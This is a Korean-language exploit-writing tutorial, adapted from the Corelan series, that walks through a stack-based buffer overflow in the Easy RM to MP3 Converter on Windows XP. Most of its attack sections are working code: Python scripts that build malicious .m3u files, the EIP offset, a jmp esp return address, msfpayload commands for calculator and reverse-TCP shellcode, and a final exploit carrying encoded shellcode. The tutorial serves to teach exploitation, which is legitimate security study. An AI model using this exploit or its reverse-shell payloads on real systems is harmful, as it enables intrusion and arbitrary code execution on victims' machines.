EXPLOIT WRITING TUTORIALS C1 STACK BASED BUFFER OVERFLOW KIM DONG HYUN WHATTEAM & LET S CQ & KOREA IT TECHNICAL SCHOOL rlaehdgus213@naver.com 페이지 0 / 24
Exploit writing tutorials C1 Stack Based Buffer Overflow hackpupu System hacking Series Exploit writing chapter 1 http://hackerpupu.tistory.com Let s CQ TEAM WHATTEAM KOREA IT Technical School Straw Hat Penetration Team rlaehdgus213@naver.com 페이지 1 / 24
Warring! 주의사항 본문서는보안에관련되어있는문서입니다. 이문서를악용해오는피해사항은전적으로사 용한본인에게있습니다. 본문서를복사, 배포또는수정이가능하나, 본작성자에대한언급을해주셨으면합니다. 프로젝트명 작성자 문서정보 Exploit Writing tutorials C1 Stack Based Buffer overflow 김동현 (hackpupu) 개정이력 버전수정일자작성자개요 1.0v 2014/07/03 김동현원본작성 페이지 2 / 24
목차 ⅰ. 개요 1-1 Exploit Writing 개요 1-2 System Security에대한중요성 1-3 Security에대한고찰 1-4 저자소개 ⅱ. C1 Stack Based Buffer Overflow 2-1 환경정보 2-2 Easy RM to MP3 Buffer Overflow 취약점 2-3 취약파일생성 2-4 Crash & Debugging확인 2-5 RET 거리계산 (MSF pattern_create) 2-6 Exploit ⅲ. 끝마치며 페이지 3 / 24
ⅰ. 개요 1-1 Exploit Writing 개요 Exploit Writing은 corelan Team에서발표한문서로윈도우기반의 Exploit을이해하는데매우큰도움이되는문서입니다. 현재 part1부터 part 11까지다루고있으며, 기초적인 Stack Based Buffer Overflow부터, 각종보안메커니즘을우회하는방법까지다루고있는, 기초부터심화과정까지의 Exploit을다루고있습니다. Windows Exploit을접하는데있어매우좋은문서라판별이되며, 저역시이러한문서들을번역및작성하며, 개인공부에치중을두고있는문서입니다. 또한, 우리나라에서는 Kiseclab 에서번역문서를배포하고있습니다. 영어가어려운분들은 Kiseclab에가셔서번역본을추가적으로보는걸추천합니다. 이문서또한, corelan에서나온문서를토대로작성하기에, 원본과큰차이점은없으나, 조금더쉽게설명하는부분에치중을두며작성하겠습니다. 1-2 System Security 에대한중요성 System Security에대한개인적인생각은이렇습니다. 항상우리가사용하고있는프로그램및어플리케이션은 System과관계가있으며, 특정 Bug를이용해서권한상승및악의적인행동이가능합니다. Example로, 한글취약점 (0-day) 등을이용해 APT공격시나리오를사용한다던지, 악성코드유포를위해 IE 취약점또는 JAVA, Adobe Flash 취약점등을이용해악성코드를유포하는등의방식은매우잘사용되는방식이며, 굳이사회공학적기법을이용하거나, 사용자에게클릭을유도할필요없이유포할수있기에, Critical할수있는부분이라생각하고있습니다. 또한, ms08-067같은 Critical한취약점의경우, 매우위험하고또한실제모의해킹시나리오를작성할때빠질수없는부분입니다. ( 실제로 Metasploit을이용해 3번의 Enter로해킹하는진귀한과정을볼수있습니다.) 이러한부분을공부하고, 또한 Bug를패치하며조금더 Hacker다운 Hacker가되지않나싶습니다. 0-day를찾았을때의희열을느끼기위함과, 보안성의향상을위해전공부하고있다고말씀드릴수있는부분입니다. 1-3 Security 에대한고찰 보안공부를이제시작하시는분들은읽었으면하는부분입니다. 저또한꾸준히공부하고있는입장이지만, 약 3년간공부를하며느껴왔던부분입니다. 문서를접하시고, 배우시고하는부분은정말좋습니다. 하지만외우는방식의공부는하지않기를저자는추천합니다. 같이공부하는분들또는가르쳐달라고하시는분들을보자면, 원리에대한이해보다는 Skill과우회방안, 또는신종공격기법 (0-day) 에대해모두외워버리시는분들이많습니다. 저또한처음에는그런방식으로최근까지공부를해왔습니다만, 2014년들어서는그러한방식의공부를버리고, 원리에대한궁금증이왔던것같습니다. 저보다빠르게이러한내용에의구심을가지신 Hacker분들은제가가고싶은위치에가있으신분들이정말많다는걸느끼고, 현재는원리에대한탐구를하고있습니다. 1-4 저자소개별거없는사람으로, 그저들은이야기많은잉여보안인력이다. 95년생으로액면가로만따지자면 85년생정도로추정된다. 밤새는걸즐겨하며, 술과담배를좋아한다. 목표는 50살전에우리나라보안인식을향상하는것과외국진출또는해킹연구소설립. 최근에는시스템 ( 굳이꼽자면 Android) 에매우관심이많은잉여. 페이지 4 / 24
ⅱ. 취약점분석 2-1 환경정보 환경구성은아래와같다. 운영체제 (OS) Windows XP Professional Service Pack 3(KR) Test 프로그램 East RM to mp3 Version 2.7.3.700 Easy RM to http://www.exploit-db.com/wpcontent/themes/exploit/applications/707414955696c57b71c7f160c720bed5 mp3 Download -EasyRMtoMP3Converter.exe Debugger Immunity && Windbg Language Python 기타 Metasploit pattern creator 2-1-1. Immunity 다운로드및설치다운로드 URL: http://www.immunityinc.com/products-immdbg.shtml Python 설치는 Immunity Debugger 설치중 Python도함께설치가된다. 또한, Python의버전은 2.7.1을사용했으며, 그이상또는이하의버전을사용할시문법적인부분의수정이필요하다. ( 버전에신경을쓰지않아도된다.) 2-1-2. Debugging 설정 Immunity Debugger 를실행시킨뒤아래와같은, 순서로클릭을진행. 페이지 5 / 24
2-1-3. Windbg Windbg를통한디버깅또한할수있다. Windbg는, msdn에서공식적으로제공하는디버거로써, DOS 시절 16 bit 디버거인, debug.exe의 Windows 버전이라고할수있습니다. 콘솔화면에서키보드만으로디버깅을하는 debug.exe의사용자인터페이스를그대로가져왔으며, 처음입문의벽이높아힘들지만, 그기능은매우강력하다고할수있습니다. 커널모드의디버깅이가능하다는것과, 시스템에대한심볼 (Symbol) 을직접다운받을수있고, 시스템내부구조체 (Undocumented 포함 ) 및 API의정보를얻을수있습니다. 또한 Windows OS의덤프파일을읽어분석할수있기에, 프로그램 Crash의원인을분석할수있는매우강력한도구라고할수있습니다. 단점은, 코드에직접주석을입력할수없으며, Disassembly 코드에서호출되는 API 이름도타디버거에비해잘표시되지않습니다. Windbg 설치 다운로드 URL: http://msdn.microsoft.com/en-us/windows/hardware/hh852365 위의 URL 접속후, Get the standalone debugging tools as part of Windows 7 SDK 설치 Net Framework 관련 ERROR 출력시 http://www.microsoft.com/en-us/download/confirmation.aspx?id=21 추가설치시해결된다. SDK를설치하며, Debugger에체크를한뒤설치를해야 Windbg가정상적으로설치가됨을확인할수있다. 페이지 6 / 24
Post-mortem 설정 프로세스또는서비스에서 crash 가발생하면그메모리의내용을저장하는설정이다. Windbg I 명령어로 Listening 상태로만들수있다. 페이지 7 / 24
Windbg Symbol 설정 C: 드라이브에 Symbols 폴더생성 ( 임의의폴더명으로지정해도됨 ) Windbg File Symbole file path 에 SRV*C:\Symbols*http://ms 이.microsoft.com/download/symbols 문장삽입 이제 Windbg와 Immunity Debugger 및실습환경의 Setting이끝났다. 이 2가지의 Debugger로어플리케이션및서비스에일어나는 Bug에대해서는분석할수있을것이며, 이제 2-2 부분부터는, Easy RM to MP3 Buffer Overflow 취약점에대해서분석하고, 그에따른 Buffer Overflow 취약점에대한원리를이해하는방향으로문서를이어나갈것이다. 페이지 8 / 24
2-2 Easy RM to MP3 Buffer Overflow 취약점 Easy RM to MP3 에대해서, Easy RM to MP3 는 MP3 Player 로써, 조금오래된프로그램이다. 본문서에서설명하는취약점은, m3u 파일을읽어올때발생하며, Buffer Overflow 취 약점이다. 2-3 취약파일생성취약파일생성은간단하게할수있다. 아래와같은 Python Code를통해서할수있으며, python 및 Perl, C 언어등언어에구애받지않고, Exploit Code를만들수있음에유의하자. 단 Python의경우여러 Hacker들을위한 Module들이많고, 그에따른빠른 Exploit code 작성이가능하다. ( 추후문서에언급되고, Fuzzing 및 Exploit에사용되는 mona.py도 Python으로작성되어있으니, Python을익혀놓으면많은도움이될것이다.) 취약파일생성코드는아래와같다. f = open( test.m3u, wb ) junk = \x41 * 30000 f.write(junk) f.close() print File Create Success 위 Code 를 Notepad 및타편집프로그램으로진행해도된다. 그후, 파일생성은 cmd 에 서진행사항을확인해도되고, py 코드를직접더블클릭을통해실행해도된다. 페이지 9 / 24
2-4 Crash & Debugging확인위의코드를통해생성된 test.m3u 파일을 Easy RM to mp3에서 load하게되면, 프로세스가 crash 됨을확인할수있다. 방금, Windbg를 Listening 모드로실행시켜놓았다면아래와같은화면이나오게된다. 실행시켜놓지않았다면, 아래와같은화면이나오게된다. ( 저기능을끄고싶다면, 레지스트리편집기에서 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug 부분에서, Auto 값을 0으로변경하면된다. 번외로 Debugger 값은 Crash가발생했을때, 실행시킬 Debugger의절대경로이다 ) 이제디버깅을통해서, Crash 가난부분을찾아야한다. 페이지 10 / 24
F9 를눌러, Easy RM to MP3 프로그램을실행한뒤, test.m3u 파일을 load 한다. test.m3u 파일 load 후 Crash 확인 위의사진을보면, EIP 값은 41414141(AAAA) 로채워져있고, Stack은 AAAA로가득차있음을확인할수있다. Crash의원인은 m3u파일을읽어올때, 예외처리를제대로해주지않아일어나며, 파일내용중한부분의조작을통해 EIP 값을조작할수있음을알수있다. 이걸그림으로도식화해보면아래와같은그림이나오게된다. 페이지 11 / 24
Argument RET(EIP가됨 ) EBP Buffer Stack Frame High Level AAAAAAAAAAAAAA (m3u file content) AAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Low Level 위의 Easy RM to MP3 프로그램처럼모든프로그램 ( 서비스포함 ) 에서 Crash가난다고해도, 모두공격이가능한것은아니다. ( 공격가능성이높다는걸 Exploitable하다고, 한다. 단계는총 4단계가있음 ) 즉, 공격은 EIP(RET) 를조작하는것이며, Exploitable 하다는내용은, RET 또는 EIP를마음대로변경할수있는가를말한다고할수있다. 또한, 이러한 Bug 를찾아내는방식에는여러기법이있으며, 그중 Fuzzing 을나중에문 서화해공개할예정이다. 여러버퍼크기를구하는방식은많지만, 여기서는 Metasploit 의내장모듈인 pattern_create.rb 파일을통해서, 버퍼크기를알아보고, 실제 Shellcode 를넣는과정을소 개할것이다. 페이지 12 / 24
2-5 RET 거리계산 (MSF pattern_create) Metasploit 내장모듈을통해알아보기전에, 먼저조금더정확한크기를구해야한다. (30000자를모두 Bruteforce 형식으로찾으면의미가없지않겠는가 ) 그래서, Python Script를조금수정하여, 25000개의 A값과 5000개의 B값을넣는코드를작성한다. f = open( test.m3u, wb ) junk = \x41 * 25000 junk += \x42 * 5000 f.write(junk) f.close() print File Create Success 다음과같은 python 코드를작성하여, 실행시키고 test.m3u파일을생성한뒤다시 Immunity Debugger를통해로드해보자. 위의사진을보면알수있듯, EIP값이 42424242(BBBB) 로변경됨을확인할수있다. 고로, EIP의값이영향을받는위치는 25,001 ~ 30,000 사이에있음을알수있다. 이러한내용을토대로, Metasploit pattern_create.rb를통해서, 5000개의중복되지않은문자열을생성할수있다. 원래의문서에서는 Backtrack5를기준으로설명했으나, 여기서는최신의 Kali linux를통해서설명하겠다. 위치는 /usr/share/metasploit-framework.tools/pattern_create.rb 의경로에위치하고있으며명령어는 Pattern_create.rb 생성하고싶은문자열길이로하면된다. ex)./pattern_create.rb 5000 페이지 13 / 24
이문자열을, Python code에작성해서넣으면된다. f = open( test.m3u, wb ) junk = \x41 * 25000 junk += Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0 Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae 3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af f.write(junk) f.close() print File Create Success 그후다시 m3u파일을생성한뒤, Crash를확인하면 EIP의문자열을확인할수있다. ( 번외로, mona.py를이용하면 Immunity Debugger에서직접확인할수있다. 이는 pattern_create에서나온결과와똑같으며, 밑에설명될 pattern_offset도똑같이확인할수있다. 이는 Python의매력중하나라고할수있다.) 페이지 14 / 24
EIP 의값이 6A42336A 에있음을확인할수있으며, 이걸 pattern_offset.rb 를통해 offset 의 위치를확인하면 1060 임을확인할수있다. 그렇다면이제위에나온내용을토대로, 계산을해보면 25000 + 1060 = 26060 임을확인할수있다. 이를그림으로도식화해보면 Stack Frame High Address Argument RET 26,060---- EBP -------- Buffer Low Address 위와같은그림이나오게된다. 이제실제로, Offset을 Test하기위한 Python 코드를수정한다. f = open("test.m3u","wb") junk = "\x41" * 26060 eip = "BBBB" f.write(junk + eip) f.close() print "File Create Success" 그리고다시, m3u 파일을생성한뒤, Crash를확인해보면, 아래와같은사진처럼 EIP가 42424242(BBBB) 로조작이됨을확인할수있다. 페이지 15 / 24
이제실질적으로, RET(EIP) 를조작할수있음을확인할수있고, 실제 offset 까지알았으니 Exploit code 를작성해야된다. 궁극적으로 Shellcode 를어디에넣어야하며, 어떻게 RET 를조 작해, Shellcode 가있는부분으로 Jump 를할수있는가? 에대한고민이필요하다. 페이지 16 / 24
2-6 Exploit 먼저, 다음과같이스크립트수정을통해 Shell code가어디에들어갈수있는지한번생각을해볼필요가있다. 아래와같이스크립트를수정한뒤, 다시 Crash를확인해보자. f = open("test.m3u","wb") junk = "\x41" * 26060 eip = "BBBB" shellcode = ( "KimDongHyunExploitWriting" ) f.write(junk + eip + shellcode) f.close() print "File Create Success" 다시, Crash를확인하면어디쯤에 shellcode가들어갈수있는지확인할수있다. 2 가지의사실을확인할수있다. 1. ESP 는 0x000FF730 을가리킨다. 2. Shellcode 가시작되는 KimD 는 0x000FF730 보다, 4Byte 낮은주소에위치한다. 페이지 17 / 24
위설명을그림으로표현하면다음아래와같은화면이나온다. Stack Frame KimD ESP(0x000FF730) ongh Argument RET 26,060---- EBP -------- Buffer High Address Low Address ESP는 0x000FF730부터시작되고, Shellcode가시작되는문자열은 [ESP-4] 위치에있다, 때문에 RET와 Shellcode문자열사이에는 Dummy Code(4Byte) 가들어가야된다. 그에따라, Python code를아래와같이수정을한번더한다. f = open("test.m3u","wb") junk = "\x41" * 26060 eip = "BBBB" dummy = DUMM shellcode = ( "KimDongHyunExploitWriting" ) f.write(junk + eip + dummy + shellcode) f.close() print "File Create Success" 그후, 다시 python 코드를실행시킨뒤, Crash 를확인하면, 우리가원하는 ESP 주소에, Shellcode 를작성할수있으며, 아래와같은결과를도출할수있다. EIP 를통제할수있으며, Shellcode 를작성할수있는공간은 ESP(0x00FF730) 이다. 코드는아래와같이나올수있다. 26,060 개의문자열 + ESP + 4Byte Dummy + Shellcode 페이지 18 / 24
실제그럼, nop 코드를실행하는파일을생성한뒤, Crash 를확인해보자. from struct import pack f = open( test.m3u, wb ) junk = A * 26060 eip = pack( <L, 0x000ff730) shellcode = \x90 * 25 shellcode += \xcc f.write(junk + eip + shellcode) f.close print File Create Success 그후 Tracing(F8) 을해보면, 아래와같은에러가나오게된다.(Access Violation when writing to [00000001]) 물론 EIP와 ESP 값은정상적으로들어가있지만, NULL Byte를만나, 우리가원하는 Code가정상적으로실행되지않음을볼수있다. 우리가원하는지점까지프로그램이도달하지못했다고할수있으며, 메모리주소를 Static하게직접 Jump하는방식은좋은방식이아니다. 결론적으로, 우리가 EIP를 0x000ff730을직접덮어써서, Shellcode의위치로 Jump하게할수는없다는말이다. 이러할때, 프로그램에게 Import된 dll을가져와사용하면된다. 프로그램실행간에자체적으로명령코드를가지는하나이상의 DLL을사용하며, dll에의해사용되는명령어주소들은정적이라매우편하게사용할수있다. (ASLR 보안메커니즘이적용되기전 ) 페이지 19 / 24
그럼이제, East RM to MP3 프로그램을실행시켜, Immunity Debugger로 Process Attach해, 사용되는 DLL파일을보고, Shellcode로점프할수있는 Assembly 명령어를찾으면된다. 먼저, Easy RM to MP3를실행시킨다. 그뒤, Immunity Debugger를실행시킨뒤, East RM to MP3 를 Attach 시킨다. 그뒤, Import 되어있는 Dll 을확인해야된다. View Exceutable modules 이제, jmp esp란 Assembly 명령에대해서찾아야되는데, 디버거를활용하면매우편하게찾을수있다. CPU탭에간뒤, 오른쪽클릭 Search for Allcommands in all modules jmp esp를사용하면, 현재사용되고있는모든 dll 에서, jmp esp를사용하는주소를확인할수있다. 페이지 20 / 24
그뒤, 확인하게되면 jmp esp 를사용하는 DLL 과, 주소를확인할수있다. 여기서중요한점은, null 바이트이후의코드는사용할수없는코드이기때문에, 주소를 선택할시 null 바이트가들어가있지않은 (00 이포함되지않은 ) 코드가필요하게된다. 페이지 21 / 24
from struct import pack f = open("test.m3u", "wb") junk = "A" * 26060 eip = pack("<l", 0x01D8F23F) # in MSRMCc_2 shellcode = "\x90" * 25 shellcode += "\xcc" f.write(junk + eip + shellcode) f.close print "File Create Success" 필자의경우, MSRMCc_2.dll안에있는 jmp esp 명령의주소를입력했다. 그뒤, test.m3u파일을재생성한뒤, crash를다시점검해보자. 실행을하게되면, jmp esp 명령과, 우리가추가적으로넣어준 Shellcode(NOP, CC) 코드가정 상적으로실행이되고그다음, 0000(ADD DS:[EAX], AL) 이실행됨을알수있다. 완벽한 Shellcode 가아니기에, 아직우리가추가적으로하고싶은공격은하지못하는단계이다. Metasploit을이용해만드는방식은아래와같다. msfpayload windows/exec CMD=calc.exe R msfencode -b "\x00" # 계산기쉘코드 msfpayload windows/shell/reverse_tcp LHOST=192.168.92.130 LPORT=4444 R msfencode -b "\x00" # 리버스쉘코드 필자는, calc.exe 를실행시키는걸좋아함으로, cmd.exe 를실행시키는 Shellcode 를만들어보 겠다. ( 사실, cmd.exe 로할계획이였으나, Shellcode ERROR 로 calc.exe 로변경 ) 페이지 22 / 24
위와같은 Shellcode 를이용해서나온최종적인 Python code 는아래와같다. from struct import pack f = open("test.m3u", "wb") junk = "A" * 26060 eip = pack("<l", 0x77d09353) nop= "\x90" * 25 shellcode = "\xda\xcd\xbb\x10\x0b\xf7\x4f\xd9\x74\x24\xf4\x58\x29\xc9"\ "\xb1\x33\x83\xc0\x04\x31\x58\x13\x03\x48\x18\x15\xba\x94"\ "\xf6\x50\x45\x64\x07\x03\xcf\x81\x36\x11\xab\xc2\x6b\xa5"\ "\xbf\x86\x87\x4e\xed\x32\x13\x22\x3a\x35\x94\x89\x1c\x78"\ "\x25\x3c\xa1\xd6\xe5\x5e\x5d\x24\x3a\x81\x5c\xe7\x4f\xc0"\ "\x99\x15\xbf\x90\x72\x52\x12\x05\xf6\x26\xaf\x24\xd8\x2d"\ "\x8f\x5e\x5d\xf1\x64\xd5\x5c\x21\xd4\x62\x16\xd9\x5e\x2c"\ "\x87\xd8\xb3\x2e\xfb\x93\xb8\x85\x8f\x22\x69\xd4\x70\x15"\ "\x55\xbb\x4e\x9a\x58\xc5\x97\x1c\x83\xb0\xe3\x5f\x3e\xc3"\ "\x37\x22\xe4\x46\xaa\x84\x6f\xf0\x0e\x35\xa3\x67\xc4\x39"\ "\x08\xe3\x82\x5d\x8f\x20\xb9\x59\x04\xc7\x6e\xe8\x5e\xec"\ "\xaa\xb1\x05\x8d\xeb\x1f\xeb\xb2\xec\xc7\x54\x17\x66\xe5"\ "\x81\x21\x25\x63\x57\xa3\x53\xca\x57\xbb\x5b\x7c\x30\x8a"\ "\xd0\x13\x47\x13\x33\x50\xb7\x59\x1e\xf0\x50\x04\xca\x41"\ "\x3d\xb7\x20\x85\x38\x34\xc1\x75\xbf\x24\xa0\x70\xfb\xe2"\ "\x58\x08\x94\x86\x5e\xbf\x95\x82\x3c\x5e\x06\x4e\xed\xc5"\ "\xae\xf5\xf1" f.write(junk + eip + nop + shellcode) f.close print "File Create Success" 페이지 23 / 24
그후, test.m3u 파일을재생성하고, 불러오면 calc.exe 가성공적으로나옴을확인할수있 다. Success Stack based Buffer Overflow!! ⅲ. 끝마치며 이에대한취약점원인분석도물론필요하겠지만, 최종적으로이문서시리즈를번역및여러문서를참고해작성하며개인적으로생각해놓은부분이 Exploit finding이다. 고로, 원인분석보다는, 실제로이러한 Exploit을 Tracing 해보고, Exploit code를만들어가며따라감을목표로하고있다. Chapter1 Stack Based Overflow의핵심은 ( 필자가생각한 ) 아래와같다. 1. Buffer Overflow를통한실제타프로그램실행시키기 2. Buffer Overflow에대한 Based 지식 3. Buffer Overflow가발생하는원인중하나인, Buffer의경계값을검증하지않을시 EIP변조가가능하다. 4. EIP변조를직접하는것보다. 참조 (IMPORT) 되어있는 DLL을이용하는것이매우효율적이다. 다음 Chapter2 Jump shellcode 전에, 분명하게알아둬야할내용이 Chapter 1 의내용이 라고할수있다. 페이지 24 / 24